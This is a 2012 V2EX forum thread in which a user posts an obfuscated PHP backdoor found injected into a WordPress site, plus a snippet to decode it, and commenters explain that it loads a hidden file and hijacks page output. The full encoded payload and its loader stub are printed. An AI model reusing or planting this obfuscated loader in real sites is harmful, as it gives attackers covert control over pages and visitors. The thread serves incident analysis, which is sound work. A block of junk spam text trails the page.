WP被黑之后php base64加密的代码解密之后的内容 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
javaluo
V2EX    PHP

WP被黑之后php base64加密的代码解密之后的内容

  •  
  •   javaluo 2012-12-19 22:54:31 +08:00 4827 次点击
    这是一个创建于 4679 天前的主题,其中的信息可能已经有所发展或是发生改变。
    WP被黑之后php base64加密的代码解密之后的内容

    这是解密的结果,貌似没看出来有啥危害啊

    if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/wwwroot/my/libraries/PHPExcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/269.php';if(file_exists($GLOBALS['mfsn'])){inclde_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}




    前天朋友的WP被加入如下代码
    <?php
    $md5 = "7a8f8be74c439a765c67c839ccd7b515";
    $aa = array('l',"f","c","n","_","a","i",'z','v',"b","d","4","6",'o',"e",')',"s",";","g","r","t","(","$");
    $bab = create_function('$'.'v',$aa[14].$aa[8].$aa[5].$aa[0].$aa[21].$aa[18].$aa[7].$aa[6].$aa[3].$aa[1].$aa[0].$aa[5].$aa[20].$aa[14].$aa[21].$aa[9].$aa[5].$aa[16].$aa[14].$aa[12].$aa[11].$aa[4].$aa[10].$aa[14].$aa[2].$aa[13].$aa[10].$aa[14].$aa[21].$aa[22].$aa[8].$aa[15].$aa[15].$aa[15].$aa[17]);
    $bab('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');
    ?>


    用了一个非常2 的方法解密的,如下,
    $a = gzinflate(base64_decode('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'));
    $a = str_replace('eval(gzinflate(base64_decode(', '', $a);
    $a = str_replace(')));', '', $a);
    $a = gzinflate(base64_decode($a));
    echo $a."<br />";
    5 条回复    1970-01-01 08:00:00 +08:00
    tempdban
        1
    tempdban  
       2012-12-20 09:59:04 +08:00 via Android
    /home/wwwroot/my/libraries/PHPExcel/PHPExcel/Shared/Escher/DggContainer/BstoreContainer/BSE/269.php
    BOYPT
        2
    BOYPT  
       2012-12-20 13:25:17 +08:00
    你要看这个269里面有什么代码,这里主要是注册了dgobh作为session buffer的回调,也就是说人家可以任意修改wp里面的任何页面的输出内容了。
    tempdban
        3
    tempdban  
       2012-12-20 13:29:08 +08:00 via Android
    @BOYPT 这肯定是后门不用想2.x的时候祸害一批人
    楼主更新下版本 换个主题 插件全删再重新下载 估计差不多了……
    javaluo
        4
    javaluo  
    OP
       2012-12-21 00:47:44 +08:00 via Android
    @tempdban @BOYPT 谢谢楼上各位。我说没危害是我以为那个路径没东西,没想到他的phpmyadmin还真的在那个目录,看来黑客是故意做的木马添加的。现在全部格式化并重装改密码了
    Sivan
        5
    Sivan  
       2012-12-21 01:05:15 +08:00
    主要还是程序本身或主题跟插件的漏洞所致。
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2185 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 22ms UTC 00:52 PVG 08:52 LAX 17:52 JFK 20:52
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86